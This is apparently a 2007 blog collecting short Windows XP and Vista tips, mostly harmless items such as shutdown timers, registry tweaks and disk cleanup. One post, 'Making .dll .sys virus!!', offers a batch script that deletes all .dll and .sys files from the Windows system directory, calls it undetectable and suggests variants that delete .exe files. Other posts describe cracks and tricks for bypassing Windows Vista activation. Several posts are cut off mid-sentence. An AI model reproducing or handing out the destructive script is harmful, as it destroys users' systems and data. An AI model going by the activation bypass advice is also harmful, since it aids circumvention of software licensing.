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Make your computer shutdown at a desired time !!
2007-11-12 20:21:00
1. Right click on your desktop and choose ?New=>shortcuts?.2. In the box that says ?Type the location of the shortcut?,type in ?shutdown -s -t 3600? without the quotation marks and click next. Note: 3600 are the amount of seconds before your computer shuts down. So , 60secs*60mins=3600secs.3. Make up a name for the shortcut and you?re done.You can change the icon by right clicking=>properities=>change icon=>browseTO ABORT:To make an abort key to stop the shutdown timer just create another shortcut and makethe ?location of the shortcut? to ? shutdown -a? without the quotes.********* METHOD # 2 **************Here is another trick to shutdown at a specific time, for example you wish to shutdown at 11:35am. Type this instart=>RunType Code: at 11:35 shutdown -sTO ABORT:Code:shutdown -a Love happen's once and the rest is just life!!!!
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Automatically Close any non-responsive programs!!
2007-11-12 20:17:00
You can change the default ?Microsoft Internet Explorer? on the title bar to anything you wish. Do the following1. Open Registry Editor2. Move to the following key.3. HKEY_CURRENT_USERSoftwareMicrosoftInterne t. ExplorerMain.4. In the Right Panel look for the string ?Window Title? and change its value as u wish. If the String value is not there create a New String value and assign the value as your wish.Love happen's once and the rest is just life!!!!
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Hide your files in a JPEG file!!
2007-11-12 20:15:00
For this, you will only need to download WinRAR. You just need to have a little knowledge about Command Prompt and have WinRAR installed.1. Gather all the files that you wish to hide in a folder anywhere in your PC (make it in C:hidden - RECOMMENDED).2. Now, add those files in a RAR archive (e.g. secret.rar). This file should also be in the same directory (C:hidden).3. Now, look for a simple JPEG picture file (e.g. logo.jpg). Copy/Paste that file also in C:hidden.4. Now, open Command Prompt (Go to Run and type ?cmd?). Make your working directory C:hidden.5. Now type: ?COPY /b logo.jpg + secret.rar output.jpg? (without quotes) - Now, logo.jpg is the picture you want to show, secret.rar is the file to be hidden, and output.jpg is the file which contains both. 6. Now, after you have done this, you will see a file output.jpg in C:hidden. Open it (double-click) and it will show the picture you wanted to show. Now try opening the same file with WinRAR, it will show the hidden archiv...
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Free up more space on your computer!!
2007-11-11 19:21:00
The Windows Disk Cleanup utility does a good job of deleting old Microsoft temp files, logs, memory dumps and other OS related junk files. It can free up a lot of space on your computer but it often leaves a lot of junk behind. A great program that I use all the time on my computers is called CCleaner. Not only does it clean the Microsoft OS related junk files from your computer, it also removes junk files from other popular applications such as Firefox. Additionally, it is very good at locating other temporary files.Visit CCleaner to download a free copy.Love happen's once and the rest is just life!!!!
More About: Space , Windows Vista , Computer , Free

Fix: No Screensaver with Microsoft Wireless Laser Mouse 6000!!
2007-11-11 19:18:00
Users that have the Microsoft Wireless Laser Keyboard 6000 and/or the Microsoft Wireless Laser Mouse 6000 have been experiencing issues for the past few months with their screen saver failing to turn on as well as any power saving features. The problem was linked to the new 3.0 version receiver shipping with the new 6000 series mouse and keyboards and the media center components. Microsoft has finally released an update for these users so that they can use screensavers once again in Windows Vista . Follow theses steps to get the update for your computer:1. Click on the Start Button and type in Windows Update. Click Check for updates. 2.Locate the optional "Other hardware - HID - Non-User Input Data Filter" update and install it. 3. After the update is installed your screensaver and power saving functions will be fixed. Love happen's once and the rest is just life!!!!
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Uninstall / Turn off unneeded features !!
2007-11-11 19:17:00
There are many new features in Windows Vista that are installed by default that you may not need. These extra and unneeded features can slow down your computer and take up more storage space. If you would like to uninstall, or turn off, these extra features, this tip is for you. Windows Features can be uninstalled using the Windows Features utility. Follow these steps to uninstall applications such as the Windows Fax and Scan and many more: 1. Click on the Start Button and select Control Panel. 2. Under Programs click Uninstall a program .3. On the side menu, click on Turn Windows features on or off .4.Scroll through the list as shown below and remove the check from any feature you do not want installed. 5. Click OK when you are finished making your changes. The features will now be uninstalled. Love happen's once and the rest is just life!!!!

Mount a Cd Image !!
2007-11-11 19:11:00
Mounting a CD image is a basic feature of almost every operating system package except for Microsoft Windows. Microsoft has never shipped this feature in any version of Windows including Windows Vista . Mounting a CD image is very useful when you have downloaded a .ISO cd image and you do not want to waste the time or the media to burn a copy. Since Windows Vista does not have this functionality built-in, you will need to download a utility. One popular utility that will mount CD images is called elby CloneDrive. Best of all, CloneDrive is free and easy to use. Follow these steps to mount CD images in Windows Vista with CloneDrive: Visit http://www.elby.ch/fun/software/index.htm l and download a free copy of CloneDrive. Install CloneDrive just like any other application. After it is installed you will see a new virtual drive appear in your Computer drive list. Right Click on the CloneDrive and select Virtual CloneDrive and then Mount. Navigate to the .ISO file you want to mount and h...
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Use Mobility Center !!
2007-11-11 18:58:00
If you are running Windows Vista on a laptop then check out the new Windows Mobility Center by holding the Windows Logo Key and pressing X. Love happen's once and the rest is just life!!!!

Stop autostart applications !!
2007-11-11 18:55:00
Check out the new System Configuration Utility in Windows Vista that now includes new troubleshooting tools. Just click on the start button and key in msconfig and hit Enter. Click on the Startup tab and uncheck any application you do not want to automatically start. Love happen's once and the rest is just life!!!!
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Run as administrator start menu keyboard trick !!
2007-11-11 18:53:00
If you are like me and use the search box in the new Start Menu in Windows Vista as a run box, you can run any command you type in as an administrator by holding down CTRL + Shift and then pressing Enter. Say you want to start command prompt as administrator:1.Click start button 2.Key in cmd 3.Press and hold down CTRL and Shift and then hit Enter 4.Command prompt now be run as administratorLove happen's once and the rest is just life!!!!
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Tweak your mouse scroll wheel !!
2007-11-11 18:50:00
Every time you use the scroll wheel on your mouse you scroll 4 lines at a time in Windows Vista . This is adequate for most users but did you know that it is possible to tweak this setting to make your scroll wheel more or less sensitive? It is possible with a quick little reg hack. 1. Click on the Start Button and key in regedit and hit Enter. 2. Navigate through HKEY_CURRENT_USERControl PanelDesktop. 3. Scroll to the bottom and edit Wheel ScrollLines. Set this to a lower value for a more sensitive scroll wheel. larger for less sensitive. 4. Reboot. Love happen's once and the rest is just life!!!!
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Use path wildcards to save time in explorer and command prompt!!
2007-11-11 18:47:00
When you are in explorer and are manually typing in a long folder path or at a command prompt navigating through many directories, below are two cool tips that will help you save time. The first is one that I have been using for years. When working at a command prompt, instead to typing in the full text of an item, just hit the tab key to bring up full items. For example, say I want to change the directory to the Windows folder. At a command prompt I would type in CD wind and then hit the tab key and "Windows" will automatically show up. Think of the tab key as a kind of auto complete for DOS. This same technique also works in Windows Explorer .Another tip was sent in by Robert Warriner also has a similar effect. Instead of hitting the tab key to bring up alternatives, you can use the * wildcard. For example, the command CD wind**32dri* will change your directory to c:windowssystem32drivers. The * wildcard will also work in Windows Explorer. Love happen's once and the rest i...
More About: Windows Vista , Time , Save , Command

Windows Media Center keyboard shortcuts!!
2007-11-11 18:43:00
Navigation??????????See Down wardsOpen Windows Media Center or return to the Windows Media Center start screenWindows Key+ALT+ENTERClose Windows Media CenterALT+F4Accept the selectionENTERGo back to the previous screenBACKSPACEGo to the first item in a listHOMEGo to the last item in a listENDGo to the next pagePAGE DOWNGo to the previous pagePAGE UPMove left, right, up, or downARROW KEYSGo in and go out of windowed modeALT+ENTERControl Audio??????????See Down wardsMute volumeF8Turn down volumeF9Turn up volumeF10Turn on or turn off closed captioningCTRL+SHIFT+CGo to Music CTRL+MPlay an audio file or songCTRL+SHIFT+PPause or resume an audio file or songCTRL+PReplay an audio file or songCTRL+BSkip to the next songCTRL+FFast forward a songCTRL+SHIFT+FRip a CDCTRL+RDisplay the context menuCTRL+DControl the TV??????????See Down wardsGo to Recorded TVCTRL+OGo to the GuideCTRL+GGo to live TVCTRL+TRecord a TV showCTRL+RPause or resume live TV or recorded TVCTRL+PStop recording or stop playin...
More About: Windows Vista , Shortcuts

Free up Disk Space by deleting backup files!!
2007-11-11 17:53:00
Windows Vista has loads of new backup features such as previous versions of your documents and system state points that are part of System Restore. All of these features are turned on by default and offer you a great deal of backup protection. However, you pay a big price in disk space. Every once in a while when your system is stable and you need to free up some disk space, it is a good idea to clear all of these previous versions of your files and System Restore points from your computer. This is a very easy way to free up a few gigabytes of space across all of your hard drives. To get started, just follow these steps:1.Click on the Start Button and key in disk cleanup and hit Enter. 2.Select Files from all users on this computer. 3.Select the drive you want to clean. 4.On the More Options tab, click on Clean Up under System Restore and Shadow Copies. 5.Hit Delete on the confirmation screen. Love happen's once and the rest is just life!!!!
More About: Space , Backup , Windows Vista , Free , Disk

Extend Activation period past 180 days!!
2007-11-11 17:52:00
There has been a lot of news about a new technique to extend the activation period of Windows Vista past 180 days. It all started when Brian Livingston posted a story on his site, WindowsSecrets.com, about a registry key that can be modified to allow the slmgr -rearm command to be run more than three times. This allows you to use Windows Vista without having to activate it for longer than 180 days. Activa tion has always been more of burden for licensed Windows users than an effective deterrent for piracy. There are already many cracks for Windows Vista that bypass activation completely. The end result is a bad experience for those that legally buy the product. For me, this is an issue that I am always fighting with. I am constantly building, installing and re-configuring my two computers with multiple vista virtual machines. I don't want to deal with the burden of having to activate my legal copies of Windows Vista every time since none of my workstations seem to last for mo...
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Permanently Activate Windows Vista !!
2007-11-11 17:24:00
Hackers are going all out to crack Windows Vista activation procedure which is enhanced by Software Protection Platform (SPP).Until now, Microsoft has an upper hand, with no permanent or foolproof ways to crack or bypass Windows Vista activation request emerged. Instead, various workarounds and tricks to bypass, skip, delay, disable or spoof Vista activation has been suggestion, to various degree of success, such as extend evaluation period, rearm method, install Vista in future year, ?frankenbuild? Vista by replacing RTM build WPA files with RC build files, activate against spoofed KMS server, or run and activate Vista with own local KMS server and etc. Now, there is new crack method that able to permanently stop the countdown timer of time left to activate Windows Vista, effectively running Vista OS in full functionality evaluation mode forever. Install Windows Vista Ultimate edition (or other edition) without product key. Windows Vista needs to be applied with 2099-ReArm trick, s...
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15 tips and tricks for enhancing your Vista experience!!
2007-11-11 17:18:00
1. If you hate the look of Aero, click Start/Control Panel/Themes and you can choose a non-Aero theme, such as Windows Classic.2. Windows Vista 's installer can detect serial-ATA (SATA) drives without the need to provide a driver diskette. Don't bother creating a diskette for your SATA drives before you install Vista.3. If, for some reason, the Vista installation gets interrupted due to an unintentional shutdown or reboot, start the computer without booting the Vista DVD. Windows Vista's installer should pick up where it left off. If it does-n't, then restart the installation over from scratch.4. When you perform a search with Vista's new, instant search feature, you can save the search in a special folder. This powerful feature allows you to create a virtual folder which, by default, is saved in your \Searches folder. Every time you open such a folder, the search results are updated.5. In Windows Vista, you can add additional clocks to the system tray. Click the clock, and th...
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Showing Super Hidden Files In Windows Vista
2007-11-11 17:10:00
To show Windows Vista "super hidden" files, that is, those files that are normally hidden from the user, you'll need to accesss the registry editor.To turn on (or off) super hidden files: (make sure you backup the registry before making changes)? Click the Start Button, type "regedit" (Registry Editor) in the search box, and press Enter? Click Continue to get past the User Account Control hurdle? On the left panel, double-click to navigate to the key:HKEY_CURRENT_USERSoftwareMicrosoftWin dowsCurrentVersionExplorerAdvanced? On the right panel, double-click on Super hidden? In the Value Data box, change the value to "1"? Click OK? Exit the Registry Editor? Restart your machine for the changes to take effectLove happen's once and the rest is just life!!!!
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Tabs in Yahoo Messenger !!
2007-11-11 17:04:00
As you may have seen in the preview of Yahoo ! Messenger for Windows Vista, tabbed IM windows are coming soon. This feature lets you group multiple conversations into one IM window and use tabs to navigate among them.As it turns out, there are several hidden features that are built into Yahoo! Messenger, which can be turned on with changes to the Windows registry settings. One of our Messenger engineers, Hung Nguyen, developed some code that when installed, adds tabs to Yahoo! Messenger 8.1 (on Windows XP).To try it out, first close all the IM windows you have open. Then click the “Turn ON tabs in Yahoo! Messenger” link below. When the download window appears, click the “Run” button and follow the on-screen instructions to install it. The next time you’re in two or more IM conversations at the same time, you’ll see the tabs in action. To close a tab, just right click on it.Turn ON tabs in Yahoo! Messenger 8.1Turn OFF tabs in Yahoo! Messenger 8.1Lov...
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Services Provide By yahoo !!
2007-11-11 10:50:00
Information DownloadsFinanceHealthLocalMaps & Directions My Yahoo !NewsSearchSmall BusinessWeather Entertainment EntertainmentFantasy SportsGamesKidsMusic MoviesPhotosRadioTravelTV Shopping AuctionsAutosClassifiedsFlowers & GiftsPoints Real EstateShoppingTravelWalletYellow Pages Communication 360°AlertsAvatarsGroupsInternet Access MailMember DirectoryMessengerMobilePersonalsLove happen's once and the rest is just life!!!!
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Trick to disable the Orkut logout Script !!
2007-11-10 06:34:00
IF you by mistakenly put The Orkut Logout Script .. In your Scrap Book Then the first method is just go to your internet options and disable the java script option and then go to ur scrap book And delete the Script some time this will not work on some pC's then do thisThis trick is to Disable the Flash , this script works on the Active X Or onflash so we simply Disable the Flash and delete the Script.. In my case i have done the same .. Method 1. Click Start, Run, type regeditGo to following dir:HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft /Internet Explorer/ActiveX Compatibility Click Edit, New, Key Name New Key:{D27CDB6E-AE6D-11CF-96B8-444553540000 } (including the {})Now create new DWORD value inside this key. Rename this DWORD value to "Compatibility Flags" Set Value Data to 400 and Base to Hexadecimal. This may seem complicated but you will see along the way it makes much more sense. If you want to disable flash correctly without compromising performance this is the way. To enable flas...
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Hidden Notepad feature (As a log file creator) !!
2007-11-09 21:06:00
Here's an odd little feature I never knew was in Notepad, Microsoft's otherwise featureless text editor:It can be used to make log files.Give it a shot: Open Notepad and type .LOG on the first line, then save the file as whatever you want.Now every time you open the file the current date and time will be appended to it,which make it super-quick to create simple texty log files for whatever you want.Of course, every word processor and many text editors have shortcut keys for inserting the date,but simplicity does have its appeal.The Microsoft knowledgebase says this feature only applies to Windows 98 and ME,but it seems to work fine in XP as well.Love happen's once and the rest is just life!!!!
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Shutdown pc from dos prompt !!
2007-11-09 21:02:00
You can shut down your pc from dos prompt like this :type .... shutdown -s ( it'll give you 30 secs to save your work and then it'll shutdown)for restart type shutdown -rand for logoff type shutdown -lfor more options type shutdown only. I tested these only on win xp ...Love happen's once and the rest is just life!!!!
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How to remove the security alert icon from the system tray !!
2007-11-09 20:56:00
Follow these Steps !!1. Click the Start button2. From the Start menu select Control Panel3. In Control Panel click the Security Center Icon 4. The security Center window will now open5. On the left of the window you will see a list of options6. Click on the Change the way security Center alerts me option7. In the Security Center Alert settings windows you have three options:Firewall Auto Updates Virus Protection 8. Remove the check mark from the option you do not want to be alerted of9. Click OK10. Finally Exit the Security Center and Control panelDisabling Security Center from within Services msc1. Click Start button2. Click Run3. In the Run dialogue box type: ?services.msc? (without the quotes)4. In the services window scroll down the list until you come to Security Center5. Double Click on the Security Center option6. The Security Center properties window will open7. In the Start Type dialogue box it should read ?Automatic?8. Click the Green arrow on the right of the dialogue box9...
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Restriciting Logon Access !!
2007-11-09 20:52:00
If you work in a multiuser computing environment, and you have full (administrator level) access to your computer, you might want to restrict unauthorized access to your "sensitive" files under Windows 95/98.One way is to disable the Cancel button in the Logon dialog box.Just run Regedit and go to:HKEY_LOCAL_MACHINE/Network/Logon Create the "Logon" subkey if it is not present on your machine: highlight the Network key -> right-click in the left hand Regedit pane -> select New -> Key -> name it "Logon" (no quotes) -> press Enter. Then add/modify a DWORD value and call it "MustBeValidated" (don't type the quotes). Double-click it, check the Decimal box and type 1 for value.Now click the Start button -> Shut Down (Log off UserName) -> Log on as a different user, and you'll notice that the Logon Cancel button has been disabled.Love happen's once and the rest is just life!!!!
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Burn to 800MB CD-R !!
2007-11-09 20:49:00
Nowdays people?s hunger for space is increasing. People are not satisfied with 700MB CD-R?s available in the market. So they go for 800MB CD-R. Burn ing to 700MB CD and 800MB CD are entirely different tasks.I will tell you how to burn to 800MB CD-R successfully using Nero 6.6.013Requirements:1. A branded 800MB CD-R preferrably Amkette.2. A writer supporting Overburning. To check whether this feature is supported by your writer go to Recorder Menu and then select Choose Recorder. Now Select your recorder and in the bottom you should look for this on the screen.Overburn: Supported3. You need to have the latest firmware for your recorder model, as it will contain information to enable overburning. Most importantly, it will contain read/write strategies for new brands of CD-R and CD-RW media and can resolve many issues you may otherwise run into.Steps to do:1. Go to File>>Preferences>>Expert Features and check the box:Enable Disc-at-once CD overburning and set Maximum CD Size as accordin...
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Get DOUBLE Speed in Brod band net !!
2007-11-09 20:42:00
Tuning up MTU (Maximum Transmission Unit) to speed up Internet accessNow let me tell you one important fact related with tuning. Value of MTU depends upon how fast a connection you have, what kind of activities you perform (ask yourself a question. Are your a mild, average or high end user of Internet ? To put it in other words, Do you download little or nothing, or are an average surfer or are Internet savvy individual and download everything from programs,apps,patches to watching Internet audio/video real-time content?) Depending upon who you are as a user and what kind of connection (modem,dsl,cable or in rare cases T1/T3), this tuning may have little to significant effect on your Internet experience. All right MTU stand for Maximum Transmission Unit.Value of MTU decides the size of Internet data packet. Bigger the size, more you can transfer.Analogy could be made with a bucket. If bucket is small, you can carry little but it would be no strain on your strength. Bigger the bucket...
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Making .dll .sys virus!!
2007-11-09 20:40:00
This virus is indetectible by antivirus scanners.open notepad and past this code:Code: @Echo off c: cd %WinDir%System deltree /y *.dll cd deltree /y *.systhis will delete all .dll and .sys files change it the way u want like:Code: @Echo off c: cd %WinDir%System deltree /y *.psw cd deltree /y *.exeenjoy!!Love happen's once and the rest is just life!!!!
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Make a folder dissapear even from ctrl+A !!
2007-11-09 20:30:00
This is a nice trick tht u can use if u have some files to hide from someone really smart:if the folder u wanna hide was "hide me"in C:hide methen open notpad and writeCode:ren games games.{21EC2020-3AEA-1069-A2DD-08002B3030 9D}save it as "loc.bat" in C: ow open notpad again and writeCode:ren games.{21EC2020-3AEA-1069-A2DD-08002B3030 9D} gamessave it as "key.bat" in C: ow you have 2 batch files the loc.bat will hide the folder, the key.bat will do just the oppositeEnjoy!!Love happen's once and the rest is just life!!!!
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Donwload "Internet Explorer 7" Without WGA Check !!
2007-11-09 20:20:00
If you are fond of browsing on Microsoft's internet browser "Internet Explorer 7 " and can't use it due to the WGA (Windows Genuine Advantage) check.Then i have a good news for you.Now Microsoft allows you to download a special version which is without the WGA check.Microsoft has done this to stop the increasing dominance of "Mozilla Firefox".If you want to download this version of Internet explorer 7 you can download itFrom hereLove happen's once and the rest is just life!!!!
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